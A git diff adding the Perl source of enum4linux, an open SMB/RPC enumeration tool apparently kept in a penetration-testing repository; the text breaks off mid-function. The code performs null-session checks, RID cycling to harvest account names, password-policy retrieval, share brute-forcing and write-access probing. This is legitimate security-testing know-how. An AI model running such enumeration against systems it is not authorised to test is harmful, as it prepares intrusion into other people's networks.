diff --git a/Enumeration/EnumScripts/enum4linux.pl b/Enumeration/EnumScripts/enum4linux.pl new file mode 100755 index 0000000..bd78b66 --- /dev/null +++ b/Enumeration/EnumScripts/enum4linux.pl @@ -0,0 +1,1181 @@ +#!/usr/bin/perl +# enum4linux - Windows enumeration tool for Linux +# Copyright (C) 2011 Mark Lowe +# +# This tool may be used for legal purposes only. Users take full responsibility +# for any actions performed using this tool. The author accepts no liability +# for damage caused by this tool. If these terms are not acceptable to you, then +# you are not permitted to use this tool. +# +# In all other respects the GPL version 2 applies: +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License along +# with this program; if not, write to the Free Software Foundation, Inc., +# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. +# +# You are encouraged to send comments, improvements or suggestions to +# me at mrl@portcullis-security.com +# +# TODO +# +# * replace system($string) with system($prog, @args). +# +# * Search RID space intellegently. Samba starts accounts at 0, but +# Windows starts at 500. We don't want to search 0-500 on all +# hosts. Maybe check 0-10 and abort if nothing is found. Some SIDs +# on samba servers start RIDs much higher (3000+). How do we make +# sure we get all these. +# +# * Mutliple SIDs can be found on some hosts (samba). +# +# * Output Group Memberships in a more parsable format. +# +use strict; +use warnings; +use Getopt::Std; +use File::Basename; +use Data::Dumper; +use Scalar::Util qw(tainted); +use Term::ANSIColor; + +my $VERSION="0.9.1"; +my $verbose = 0; +my $debug = 0; +my $aggressive = 0; +my $global_fail_limit = 1000; # no command line option yet +my $global_search_until_fail = 0; # no command line option yet +my $heighest_rid = 999999; +my $global_workgroup = ''; +my $global_username = ''; +my $global_password = ''; +my $global_dictionary = 0; +my $global_filename = ''; +my $global_share_file = ''; +my $global_detailed = 0; +my $global_passpol = 0; +my $global_rid_range = "500-550,1000-1050"; +my $global_known_username_string = "administrator,guest,krbtgt,domain admins,root,bin,none"; +my @dependent_programs = qw(nmblookup net rpcclient smbclient); +my @optional_dependent_programs = qw(polenum ldapsearch); +my %odp_present = (); +my $null_session_test = 0; +my %opts; + +############################################################################### +# The following mappings for nmblookup (nbtstat) status codes to human readable +# format is taken from nbtscan 1.5.1 "statusq.c". This file in turn +# was derived from the Samba package which contains the following +# license: +# Unix SMB/Netbios implementation +# Version 1.9 +# Main SMB server routine +# Copyright (C) Andrew Tridgell 1992-199 +# +# This program is free software; you can redistribute it and/or modif +# it under the terms of the GNU General Public License as published b +# the Free Software Foundation; either version 2 of the License, o +# (at your option) any later version +# +# This program is distributed in the hope that it will be useful +# but WITHOUT ANY WARRANTY; without even the implied warranty o +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See th +# GNU General Public License for more details +# +# You should have received a copy of the GNU General Public Licens +# along with this program; if not, write to the Free Softwar +# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA + +my @nbt_info = ( +["__MSBROWSE__", "01", 0, "Master Browser"], +["INet~Services", "1C", 0, "IIS"], +["IS~", "00", 1, "IIS"], +["", "00", 1, "Workstation Service"], +["", "01", 1, "Messenger Service"], +["", "03", 1, "Messenger Service"], +["", "06", 1, "RAS Server Service"], +["", "1F", 1, "NetDDE Service"], +["", "20", 1, "File Server Service"], +["", "21", 1, "RAS Client Service"], +["", "22", 1, "Microsoft Exchange Interchange(MSMail Connector)"], +["", "23", 1, "Microsoft Exchange Store"], +["", "24", 1, "Microsoft Exchange Directory"], +["", "30", 1, "Modem Sharing Server Service"], +["", "31", 1, "Modem Sharing Client Service"], +["", "43", 1, "SMS Clients Remote Control"], +["", "44", 1, "SMS Administrators Remote Control Tool"], +["", "45", 1, "SMS Clients Remote Chat"], +["", "46", 1, "SMS Clients Remote Transfer"], +["", "4C", 1, "DEC Pathworks TCPIP service on Windows NT"], +["", "52", 1, "DEC Pathworks TCPIP service on Windows NT"], +["", "87", 1, "Microsoft Exchange MTA"], +["", "6A", 1, "Microsoft Exchange IMC"], +["", "BE", 1, "Network Monitor Agent"], +["", "BF", 1, "Network Monitor Application"], +["", "03", 1, "Messenger Service"], +["", "00", 0, "Domain/Workgroup Name"], +["", "1B", 1, "Domain Master Browser"], +["", "1C", 0, "Domain Controllers"], +["", "1D", 1, "Master Browser"], +["", "1E", 0, "Browser Service Elections"], +["", "2B", 1, "Lotus Notes Server Service"], +["IRISMULTICAST", "2F", 0, "Lotus Notes"], +["IRISNAMESERVER", "33", 0, "Lotus Notes"], +['Forte_$ND800ZA', "20", 1, "DCA IrmaLan Gateway Server Service"] +); +####################### end of nbtscan-derrived code ############################ + +my $usage =<&1`; + chomp $which_output; + if ($which_output !~ /^\/.*\/$prog$/) { + print "ERROR: $prog is not in your path. Check that samba package is installed\n"; + $dependency_error = 1; + } else { + print_verbose("Dependent program \"$prog\" found in $which_output\n") if $verbose; + } +} +foreach my $prog (@optional_dependent_programs) { + my $which_output = `which $prog 2>&1`; + chomp $which_output; + if ($which_output !~ /^\/.*\/$prog$/) { + print "WARNING: $prog is not in your path. Check that package is installed and your PATH is sane.\n"; + $odp_present{$prog} = 0; + } else { + print_verbose("Dependent program \"$prog\" found in $which_output\n") if $verbose; + $odp_present{$prog} = 1; + } +} +if ($dependency_error) { + print "For Gentoo, you need to install the \"samba\" package\n"; + print "For Debian, you need to install the \"smbclient\" package\n"; + exit 1; +} + +# Untaint workgroup if supplied on command line +if (defined($global_workgroup)) { + if ($global_workgroup =~ /^([a-zA-Z0-9\.\-_]*)$/) { + $global_workgroup = $1; + } else { + print "ERROR: Workgroup \"$global_workgroup\" contains some illegal characters\n"; + exit 1; + } +} + +# We're going to use hard quotes around all variables used in "system" calls. +# We don't want bad data to be able to break out of these quotes. +foreach my $known_username (@global_known_usernames) { + $known_username =~ s/'/'\''/g; ($known_username) = $known_username =~ /(.*)/; +} +$global_username =~ s/'/'\\''/g; ($global_username) = $global_username =~ /(.*)/; +$global_password =~ s/'/'\\''/g; ($global_password) = $global_password =~ /(.*)/; + +# Output message about options used +print "Starting enum4linux v$VERSION ( http://labs.portcullis.co.uk/application/enum4linux/ ) on " . scalar(localtime) . "\n"; +print_heading("Target Information"); +print "Target ........... $global_target\n"; +print "RID Range ........ $global_rid_range\n"; +print "Username ......... '$global_username'\n"; +print "Password ......... '$global_password'\n"; +print "Known Usernames .. " . join(", ", @global_known_usernames) . "\n"; +print "\n"; + +# Basic enumeration, check session +get_workgroup(); +get_nbtstat() if $opts{'n'}; +make_session(); +get_ldapinfo() if $opts{'l'}; +get_domain_sid(); +get_os_info() if $opts{'o'}; + +# enum-compatible functions +enum_users() if $opts{'U'}; +enum_machines() if $opts{'M'}; +enum_names() if $opts{'N'}; +enum_shares() if $opts{'S'}; +enum_password_policy() if $opts{'P'}; +enum_groups() if $opts{'G'}; +enum_dom_groups() if $opts{'G'}; +enum_lsa_policy() if $opts{'L'}; + +# extra stuff that runs slowly +enum_users_rids() if $opts{'r'}; +enum_shares_unauth() if $opts{'s'}; +get_printer_info() if $opts{'i'}; + +print "enum4linux complete on " . scalar(localtime) . "\n\n"; + +sub get_nbtstat { + print_heading("Nbtstat Information for $global_target"); + my $output = `nmblookup -A '$global_target' 2>&1`; + $output = nbt_to_human($output); + print "$output\n"; +} + +sub get_domain_sid { + print_heading("Getting domain SID for $global_target"); + my $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' $global_target -c 'lsaquery' 2>&1"; + print_verbose("Attempting to get domain SID with command: $command\n") if $verbose; + my $domain_sid_text = `$command`; + chomp $domain_sid_text; + print $domain_sid_text; + print "\n"; + if ($domain_sid_text =~ /Domain Sid: S-0-0/) { + print_plus("Host is part of a workgroup (not a domain)\n"); + } elsif ($domain_sid_text =~ /Domain Sid: S-\d+-\d+-\d+-\d+-\d+-\d+/) { + print_plus("Host is part of a domain (not a workgroup)\n"); + } else { + print_plus("Can't determine if host is part of domain or part of a workgroup\n"); + } +} + +# Get workgroup from nbstat info - we need this for lots of rpcclient calls +sub get_workgroup { + print_heading("Enumerating Workgroup/Domain on $global_target"); + print_verbose("Attempting to get domain name with command: nmblookup -A '$global_target'\n") if $verbose; + + # Workgroup might already be known - e.g. from command line or from get_os_info() + unless ($global_workgroup) { + print "target is tainted\n" if tainted($global_target); # DEBUG + $global_workgroup = `nmblookup -A '$global_target'`; # Global var. Erg! + ($global_workgroup) = $global_workgroup =~ /\s+(\S+)\s+<00> - /s; + unless (defined($global_workgroup)) { + # dc.example.org. hostmaster.example.org. 1 900 600 86400 3600 + $global_workgroup = `dig +short 0.in-addr.arpa`; + ($global_workgroup) = $global_workgroup =~ /.*\. hostmaster\.(.*?)\. .*/s; + if (defined($global_workgroup)) { + print "[+] Domain guessed: $global_workgroup\n"; + } else { + $global_workgroup = "WORKGROUP"; + print_error("Can\'t find workgroup/domain\n"); + print "\n"; + return; + } + } + unless (defined($global_workgroup) and $global_workgroup =~ /^[A-Za-z0-9_\.\-]+$/) { + print_error("Workgroup \"$global_workgroup\"contains some illegal characters\n"); + exit 1; + } + } + print_plus("Got domain/workgroup name: $global_workgroup\n"); +} + +# Get long domain name via LDAP +# We don't do this by default because LDAP ports might not be present, or firewalled. +sub get_ldapinfo { + print_heading("Getting information via LDAP for $global_target"); + my $command = "ldapsearch -x -h '$global_target' -p 389 -s base namingContexts 2>&1"; + print_verbose("Attempting to long domain name: $command\n") if $verbose; + unless ($odp_present{"ldapsearch"}) { + print_error("Dependent program \"ldapsearch\" not present. Skipping this check. Install ldapsearch to fix.\n\n"); + return 0; + } + + my $output = `$command`; + + if ($output =~ /ldap_sasl_bind/) { + print_error("Connection error\n"); + return 0; + } + my $parent = 0; + foreach my $line (split "\n", $output) { + if ($line =~ /namingContexts: DC=DomainDnsZones/ or $line =~ /namingContexts: DC=ForestDnsZones/) { + $parent = 1; + } elsif ($line =~ /namingContexts:\s+(DC=[^,]+,DC=.*)/) { + my $long_domain = $1; + $long_domain =~ s/DC=//g; + $long_domain =~ s/,/./g; + print_plus("Long domain name for $global_target: $long_domain\n"); + } + } + + if ($parent == 1) { + print_plus("$global_target appears to be a root/parent DC\n"); + } else { + print_plus("$global_target appears to be a child DC\n"); + } + +} + +# See if we can connect using a null session or supplied credentials +sub make_session { + print_heading("Session Check on $global_target"); + my $command = "smbclient -W '$global_workgroup' //'$global_target'/ipc\$ -U'$global_username'\%'$global_password' -c 'help' 2>&1"; + print_verbose("Attempting to make null session using command: $command\n") if $verbose; + my $os_info = `$command`; + chomp $os_info; + if ($os_info =~ /protocol negotiation failed: NT_STATUS_CONNECTION_RESET/) { + print_error("Protocol mismatch. smbclient doesn\'t support the same protocol versions as the server. You likely need to install a later version of Samba.\n"); + } + if ($os_info =~ /case_sensitive/) { + print_plus("Server $global_target allows sessions using username '$global_username', password '$global_password'\n"); + } else { + print_error("Server doesn't allow session using username '$global_username', password '$global_password'. Aborting remainder of tests.\n"); + exit 1; + } + + # Use this info to set workgroup if possible + unless ($global_workgroup) { + ($global_workgroup) = $os_info =~ /Domain=\[([^]]*)\]/; + print_plus("Got domain/workgroup name: $global_workgroup\n"); + } +} + +# Get OS info +sub get_os_info { + print_heading("OS information on $global_target"); + + + my $command = "smbclient -W '$global_workgroup' //'$global_target'/ipc\$ -U'$global_username'\%'$global_password' -c 'q' 2>&1"; + print_verbose("Attempting to get OS info with command: $command\n") if $verbose; + my $os_info = `$command`; + chomp $os_info; + + if (defined($os_info)) { + if ($os_info =~ /(Domain=[^\n]+)/s) { + ($os_info) = $os_info =~ /(Domain=[^\n]+)/s; + print_plus("Got OS info for $global_target from smbclient: "); + print "$os_info\n"; + } else { + print_error("Can't get OS info with smbclient\n"); + } + } + + $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' -c 'srvinfo' '$global_target' 2>&1"; + print_verbose("Attempting to get OS info with command: $command\n") if $verbose; + $os_info = `$command`; + if (defined($os_info)) { + if ($os_info =~ /error: NT_STATUS_ACCESS_DENIED/) { + print_error("Can't get OS info with srvinfo\n"); + } else { + print_plus("Got OS info for $global_target from srvinfo: "); + print "$os_info\n"; + } + } +} + +sub enum_password_policy { + print_heading("Password Policy Information for $global_target"); + my $command = "polenum '$global_username':'$global_password'\@'$global_target' 2>&1"; + unless ($odp_present{"polenum"}) { + print_error("Dependent program \"polenum\" not present. Skipping this check. Download polenum from http://labs.portcullis.co.uk/application/polenum/\n\n"); + return 0; + } + print_verbose("Attempting to get Password Policy info with command: $command\n") if $verbose; + my $passpol_info = `$command`; + chomp $passpol_info; + if (defined($passpol_info)) { + if ($passpol_info =~ /Account Lockout Threshold/) { + print $passpol_info; + } elsif ($passpol_info =~ /Error Getting Password Policy: Connect error/) { + print_error("Can't connect to host with supplied credentials.\n"); + } else { + print_error("Unexpected error from polenum:\n"); + print $passpol_info; + } + } else { + print_error("polenum gave no output.\n"); + } + $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' '$global_target' -c \"getdompwinfo\" 2>&1"; + print_verbose("Attempting to get Password Policy info with command: $command\n") if $verbose; + $passpol_info = `$command`; + chomp $passpol_info; + print "\n"; + if (defined($passpol_info) and $passpol_info !~ /ACCESS_DENIED/) { + print_plus("Retieved partial password policy with rpcclient:\n\n"); + if ($passpol_info =~ /password_properties: 0x[0-9a-fA-F]{7}0/) { + print "Password Complexity: Disabled\n"; + } elsif ($passpol_info =~ /password_properties: 0x[0-9a-fA-F]{7}1/) { + print "Password Complexity: Enabled\n"; + } + if ($passpol_info =~ /min_password_length: (\d+)/) { + my $minlen = $1; + print "Minimum Password Length: $minlen\n"; + } + } else { + print_error("Failed to get password policy with rpcclient\n"); + } + print "\n"; +} + +sub enum_lsa_policy { + print_heading("LSA Policy Information on $global_target"); + print_error("Not implemented in this version of enum4linux.\n"); +} + +sub enum_machines { + print_heading("Machine Enumeration on $global_target"); + print_error("Not implemented in this version of enum4linux.\n"); +} + +sub enum_names { + print_heading("Name Enumeration on $global_target"); + print_error("Not implemented in this version of enum4linux.\n"); +} + +sub enum_groups { + print_heading("Groups on $global_target"); + foreach my $grouptype ("builtin", "domain") { + # Get list of groups + my $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' '$global_target' -c 'enumalsgroups $grouptype' 2>&1"; + if ($grouptype eq "domain") { + print_verbose("Getting local groups with command: $command\n") if $verbose; + print_plus(" Getting local groups:\n"); + } else { + print_verbose("Getting $grouptype groups with command: $command\n") if $verbose; + print_plus("Getting $grouptype groups:\n"); + } + my $groups_string = `$command`; + if ($groups_string =~ /error: NT_STATUS_ACCESS_DENIED/) { + if ($grouptype eq "domain") { + print_error("Can't get local groups: NT_STATUS_ACCESS_DENIED\n"); + } else { + print_error("Can't get $grouptype groups: NT_STATUS_ACCESS_DENIED\n"); + } + } else { + ($groups_string) = $groups_string =~ /(group:.*)/s; + $groups_string = "" unless defined($groups_string); + print $groups_string; + } + + # Get group members + my %rid_of_group = $groups_string =~ /\[([^\]]+)\]/sg; + if ($grouptype eq "domain") { + print_plus(" Getting local group memberships:\n"); + } else { + print_plus(" Getting $grouptype group memberships:\n"); + } + foreach my $groupname (keys %rid_of_group) { + $groupname =~ s/'/'\\''/g; + $rid_of_group{$groupname} =~ s/^0x//; + $rid_of_group{$groupname} = hex($rid_of_group{$groupname}); + $command = "net rpc group members '$groupname' -W '$global_workgroup' -I '$global_target' -U'$global_username'\%'$global_password' 2>&1\n"; + print_verbose("Running command: $command\n") if $verbose; + my $members = `$command`; + my @members = split "\n", $members; + foreach my $m (@members) { + print colored("Group: ", 'magenta'); + print "$groupname' (RID: " . $rid_of_group{$groupname} . ") has member: $m\n"; + } + } + if ($global_detailed) { + foreach my $groupname (keys %rid_of_group) { + print_plus("Getting detailed info for group $groupname (RID: " . $rid_of_group{$groupname} . ")\n"); + get_group_details_from_rid($rid_of_group{$groupname}); + } + } + } +} + +sub enum_dom_groups { + # Get list of groups + my $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' '$global_target' -c \"enumdomgroups\" 2>&1"; + print_verbose("Getting domain groups with command: $command\n") if $verbose; + print_plus(" Getting domain groups:\n"); + + my $groups_string = `$command`; + if ($groups_string =~ /error: NT_STATUS_ACCESS_DENIED/) { + print_error("Can't get domain groups: NT_STATUS_ACCESS_DENIED\n"); + } else { + ($groups_string) = $groups_string =~ /(group:.*)/s; + $groups_string = "" unless defined($groups_string); + print $groups_string; + } + + # Get group members + my %rid_of_group = $groups_string =~ /\[([^\]]+)\]/sg; + print_plus(" Getting domain group memberships:\n"); + + foreach my $groupname (keys %rid_of_group) { + $groupname =~ s/'/'\\''/g; + $rid_of_group{$groupname} =~ s/^0x//; + $rid_of_group{$groupname} = hex($rid_of_group{$groupname}); + $command = "net rpc group members '$groupname' -W '$global_workgroup' -I '$global_target' -U'$global_username'\%'$global_password' 2>&1\n"; + print_verbose("Running command: $command\n") if $verbose; + my $members = `$command`; + my @members = split "\n", $members; + foreach my $m (@members) { + print colored("Group: ", 'magenta'); + print "'$groupname' (RID: " . $rid_of_group{$groupname} . ") has member: $m\n"; + } + } + if ($global_detailed) { + foreach my $groupname (keys %rid_of_group) { + print_plus("Getting detailed info for group $groupname (RID: " . $rid_of_group{$groupname} . ")\n"); + get_group_details_from_rid($rid_of_group{$groupname}); + } + } +} + +sub enum_groups_unauth { + print_heading("Groups on $global_target via RID cycling"); + print_error("Not implemented in this version of enum4linux.\n"); +} + +sub enum_shares { + # Share enumeration + print_heading("Share Enumeration on $global_target"); + print_verbose("Attempting to get share list using authentication\n") if $verbose; + # my $shares = `net rpc share -W '$global_workgroup' -I '$global_target' -U'$global_username'\%'$global_password' 2>&1`; + my $command = "smbclient -W '$global_workgroup' -L //'$global_target' -U'$global_username'\%'$global_password' 2>&1"; + my $shares = `$command`; + if (defined($shares)) { + if ($shares =~ /NT_STATUS_ACCESS_DENIED/) { + print_error("Can't list shares: NT_STATUS_ACCESS_DENIED\n"); + } else { + print "$shares"; + } + } + + print_plus("Attempting to map shares on $global_target\n"); + my @shares = $shares =~ /^[\t ]*?([ \S]+?)[\t ]*?(?:Disk|IPC|Printer)[^\n]*/gms; + foreach my $share (@shares) { + my ($mapping_result, $listing_result, $writing_result) = ("N/A","N/A","N/A"); + + $share =~ s/'/'\\''/g; + my $command = "smbclient -W '$global_workgroup' //'$global_target'/'$share' -U'$global_username'\%'$global_password' -c dir 2>&1"; + print_verbose("Attempting map to share //$global_target/$share with command: $command\n") if $verbose; + my $output = `$command`; + + if ($output =~ /NT_STATUS_ACCESS_DENIED listing/ || + $output =~ /do_list:.*NT_STATUS_ACCESS_DENIED/ ) { + $mapping_result="OK"; $listing_result="DENIED"; + } elsif ($output =~ /tree connect failed: NT_STATUS_ACCESS_DENIED/) { + $mapping_result="DENIED"; $listing_result="N/A"; + } elsif ($output =~ /\n\s+\.\.\s+D.*\d{4}\n/) { + $mapping_result="OK" ; $listing_result="OK"; + } else { + print_error("Can't understand response:\n"); + print $output; + } + if ($mapping_result eq "OK") { + if ($aggressive) { + print "testing write access " . $share . "\n"; + # check for write access + my @chars = ("A".."Z", "a".."z", "0".."9"); + my $random_string; + $random_string .= $chars[rand @chars] for 1..8; + + $command = "smbclient -W '$global_workgroup' //'$global_target'/'$share' -U'$global_username'\%'$global_password' -c 'mkdir $random_string' 2>&1"; + print_verbose("Checking write access to share //$global_target/$share with command: $command\n") if $verbose; + $output = `$command` ; + if ($output =~ /NT_STATUS_ACCESS_DENIED making/) { + $writing_result="DENIED" ; + } elsif (length $output) { + # the command should not give any output, if something was output maybe it's a failure + my $command2 = "smbclient -W '$global_workgroup' //'$global_target'/'$share' -U'$global_username'\%'$global_password' -c dir 2>&1"; + print_verbose("Attempting check for directory $random_string on //$global_target/$share with command: $command2\n") if $verbose; + my $output2 = `$command2`; + if ($output2 =~ /.*$random_string.*/) { + $writing_result="OK"; + } else { + print_error("Can't understand initial response:\n"); + print $output; + print_error("Can't understand second response:\n"); + print $output2; + } + } else { + $writing_result="OK"; + } + if ($writing_result ne "DENIED") { + # remove the directory we created + $command = "smbclient -W '$global_workgroup' //'$global_target'/'$share' -U'$global_username'\%'$global_password' -c 'rmdir $random_string' 2>&1"; + print_verbose("Removing created directory on share //$global_target/$share with command: $command\n") if $verbose; + $output=`$command` ; + if (length $output) { + print_error("rmdir command returned the following:\n"); + print $output ; + } + } + } + } + # print results + print "//$global_target/$share\t"; + print colored("Mapping: ", 'magenta'); + print $mapping_result ; + print colored(" Listing: ", 'magenta'); + print $listing_result ; + print colored(" Writing: ", 'magenta'); + print $writing_result ; + print "\n" ; + } +} + +sub enum_shares_unauth { + print_heading("Brute Force Share Enumeration on $global_target"); + print_verbose("Attempting to get share list using bruteforcing\n") if $verbose; + my $shares_file = $global_share_file; + open SHARES, "<$shares_file" or die "[E] Can't open share list file $shares_file: $!\n"; + my @shares = ; + for (@shares) {chomp}; + + foreach my $share (@shares) { + # Untaint $share + if ($share =~ /^([a-zA-Z0-9\._\$\-]+)$/) { + $share = $1; + } else { + print_error("Share name $share contains some illegal characters\n"); + exit 1; + } + + my $result = `smbclient -W '$global_workgroup' //'$global_target'/'$share' -c dir -U'$global_username'\%'$global_password' 2>&1`; + if ($result =~ /blocks of size .* blocks available/) { + print "$share EXISTS, Allows access using username: '$global_username', password: '$global_password'\n"; + } elsif ($result =~ /NT_STATUS_BAD_NETWORK_NAME/) { + print "$share doesn't exist\n" if $debug; + } elsif ($result =~ /NT_STATUS_ACCESS_DENIED/) { + print "$share EXISTS\n"; + } else { + print $result; + } + } +} + +sub enum_users_rids { + print_heading("Users on $global_target via RID cycling (RIDS: $global_rid_range)"); + + my $sid; + my %sids = (); + my $logon; + my $cleansid; + # Get SID - try other known usernames if necessary + foreach my $known_username (@global_known_usernames) { + my $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' '$global_target' -c 'lookupnames $known_username' 2>&1"; + print_verbose("Attempting to get SID from $global_target with command: $command\n") if $verbose; + print_verbose("Assuming that user \"$known_username\" exists\n") if $verbose; + $logon = "username '$global_username', password '$global_password'"; + $sid = `$command`; + if ($sid =~ /NT_STATUS_ACCESS_DENIED/) { + print_error("Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible.\n"); + last; + } elsif ($sid =~ /NT_STATUS_NONE_MAPPED/) { + print_verbose("User \"$known_username\" doesn't exist. User enumeration should be possible, but SID needed...\n") if $verbose; + next; + } elsif ($sid =~ /S-1-5-21-[\d-]+-\d+\s+/) { + ($cleansid) = $sid =~ /(S-1-5-21-[\d-]+)-\d+\s+/; + if (defined($sids{$cleansid})) { + print_info("Found new SID: "); + print "$cleansid\n"; + } + $sids{$cleansid} = 1; + next; + } elsif ($sid =~ /S-1-5-[\d-]+-\d+\s+/) { + ($cleansid) = $sid =~ /(S-1-5-[\d-]+)-\d+\s+/; + if (defined($sids{$cleansid})) { + print_info("Found new SID: "); + print "$cleansid\n"; + } + $sids{$cleansid} = 1; + next; + } elsif ($sid =~ /S-1-22-[\d-]+-\d+\s+/) { + ($cleansid) = $sid =~ /(S-1-22-[\d-]+)-\d+\s+/; + if (defined($sids{$cleansid})) { + print_info("Found new SID: "); + print "$cleansid\n"; + } + $sids{$cleansid} = 1; + next; + } else { + next; + } + } + + # Get some more SIDs (hopefully) + my $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' '$global_target' -c lsaenumsid 2>&1"; + print_verbose("Attempting to get SIDs from $global_target with command: $command\n") if $verbose; + my $sids = `$command`; + foreach my $sid ($sids =~ /(S-[0-9-]+)/g) { + print_verbose("Processing SID $sid\n") if $verbose; + if ($sid =~ /NT_STATUS_ACCESS_DENIED/) { + print_error("Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible.\n"); + next; + } elsif ($sid =~ /S-1-5-21-[\d-]+-\d+/) { + ($cleansid) = $sid =~ /(S-1-5-21-[\d-]+)-\d+/; + if (defined($sids{$cleansid})) { + print_info("Found new SID: "); + print "$cleansid\n"; + } + $sids{$cleansid} = 1; + next; + } elsif ($sid =~ /S-1-5-[\d-]+-\d+/) { + ($cleansid) = $sid =~ /(S-1-5-[\d-]+)-\d+/; + if (defined($sids{$cleansid})) { + print_info("Found new SID: "); + print "$cleansid\n"; + } + $sids{$cleansid} = 1; + next; + } elsif ($sid =~ /S-1-22-[\d-]+-\d+/) { + ($cleansid) = $sid =~ /(S-1-22-[\d-]+)-\d+/; + if (defined($sids{$cleansid})) { + print_info("Found new SID: "); + print "$cleansid\n"; + } + $sids{$cleansid} = 1; + next; + } else { + next; + } + } + + foreach my $sid (keys %sids) { + if (! defined($sid) and $global_username) { + print_verbose("WARNING: Can\'t get SID. Maybe none of the 'known' users really exist. Try others with -k. Trying null session.\n") if $verbose; + foreach my $known_username (@global_known_usernames) { + my $command = "rpcclient -W '$global_workgroup' -U% '$global_target' -c 'lookupnames $known_username' 2>&1"; + print_info("Assuming that user $known_username exists\n"); + print_verbose("Trying null username and password: $command\n") if $verbose; + $sid=`$command`; + if ($sid =~ /error: NT_STATUS_ACCESS_DENIED/) { + print_error("Couldn't get SID: NT_STATUS_ACCESS_DENIED\n"); + next; + } else { + last; + } + } + ($sid) = $sid =~ /(S-1-5-21-[\d-]+)-\d+\s+/; + unless (defined($sid)) { + print_error("Can't get SID using either a null username or the username \"$global_username\"\n"); + exit 1; + } + $logon = "username '', password ''" + } + unless (defined($sid)) { + print_error("Couldn't find SID. Aborting RID cycling attempt.\n\n"); + return 1; + } + print_plus("Enumerating users using SID $sid and logon $logon\n"); + + # RID Cycle; + my $last_range = 0; + my @ranges = split(",", $global_rid_range); + foreach my $rid_range (@ranges) { + $last_range = 1 if $rid_range eq $ranges[scalar(@ranges) - 1]; + my ($start_rid, $end_rid); + + # Check range is of form n-m (n,m integers) + if ($rid_range =~ /\d+-\d+/) { + ($start_rid, $end_rid) = $rid_range =~ /^(\d+)-(\d+)$/; + + # Check range is of form n (n integer) + } elsif ($rid_range =~ /^\d+$/) { + ($start_rid, $end_rid) = ($rid_range, $rid_range); + + # Invalid range + } else { + print "WARNING: RID range $rid_range isn't valid. Should be like 10-20 or 1199. Ignoring this range\n"; + next; + } + + # Check we have an ascending range + if ($start_rid > $end_rid) { + print "WARNING: RID range $rid_range seems to be reversed. Automatically reversing.\n"; + ($start_rid, $end_rid) = ($end_rid, $start_rid); + } + + if ($global_search_until_fail) { + $end_rid = 500000; + } + + my $fail_count = 0; + if ($global_search_until_fail and $last_range) { + $end_rid = $heighest_rid; + } + foreach my $rid ($start_rid..$end_rid) { + my $output = `rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' '$global_target' -c 'lookupsids $sid-$rid' 2>&1`; + my ($sid_and_user) = $output =~ /(S-\d+-\d+-\d+-[\d-]+\s+[^\)]+\))/; + if ($sid_and_user) { + $sid_and_user =~ s/\(1\)/(Local User)/; + $sid_and_user =~ s/\(2\)/(Domain Group)/; + $sid_and_user =~ s/\(2\)/(Domain User)/; + $sid_and_user =~ s/\(4\)/(Local Group)/; + + # Samba servers sometimes claim to have user accounts + # with the same name as the UID/RID. We don't report these. + if ($sid_and_user =~ /-(\d+) .*\\\1 \(/) { + $fail_count++; + } else { + print "$sid_and_user\n" if $sid_and_user =~ /\((Local|Domain) User\)/; + print "$sid_and_user\n" if $sid_and_user =~ /\((Local|Domain) Group\)/; + $fail_count = 0; + get_user_details_from_rid($rid) if $sid_and_user =~ /\((Local|Domain) User\)/; + get_group_details_from_rid($rid) if $sid_and_user =~ /\((Local|Domain) Group\)/; + } + } else { + $fail_count++; + } + + if ($global_search_until_fail) { + last if $fail_count > $global_fail_limit; + } + } + } + } # foreach sid +} + +sub enum_users { + my @rids; + my @rids2; + + print_heading("Users on $global_target"); + my $command = "rpcclient -W '$global_workgroup' -c querydispinfo -U'$global_username'\%'$global_password' '$global_target' 2>&1"; + print_verbose("Attempting to get userlist with command: $command\n") if $verbose; + my $users = `$command`; + if ($users ne "") { + my $continue = 1; + if ($users =~ /NT_STATUS_ACCESS_DENIED/) { + print_error("Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED\n"); + } else { + ($users) = $users =~ /(index:.*)/s; + print $users; + $continue = 0; + } + my @rids_hex = $users =~ /RID:\s+0x([a-fA-f0-9]+)\s/gs; + @rids = map { hex($_) } @rids_hex; + } else { + print_error("No response using rpcclient querydispinfo\n"); + } + + print "\n"; + $command = "rpcclient -W '$global_workgroup' -c enumdomusers -U'$global_username'\%'$global_password' '$global_target' 2>&1"; + print_verbose("Attempting to get userlist with command: $command\n") if $verbose; + $users = `$command`; + if ($users ne "") { + if ($users =~ /NT_STATUS_ACCESS_DENIED/) { + print_error("Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED\n"); + } else { + ($users) = $users =~ /(user:.*)/s; + print $users; + } + my @rids_hex2 = $users =~ /rid:\[0x([A-Fa-f0-9]+)\]/gs; + @rids2 = map { hex($_) } @rids_hex2; + } else { + print_error("No response using rpcclient enumdomusers\n"); + } + + my %rids; + foreach my $rid (@rids, @rids2) { + $rids{$rid} = 1; + } + foreach my $rid (keys %rids) { + get_user_details_from_rid($rid); + } +} + +sub get_group_details_from_rid { + my $rid = shift; + if (invalid_rid($rid)) { + print_error("Invalid RID passed: $rid\n"); + return 0; + } + return unless $global_detailed; + my $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' -c 'querygroup $rid' '$global_target' 2>&1"; + print_verbose("Attempting to get detailed group info with command: $command\n") if $verbose; + my $group_info = `$command`; + ($group_info) = $group_info =~ /([^\n]*Group 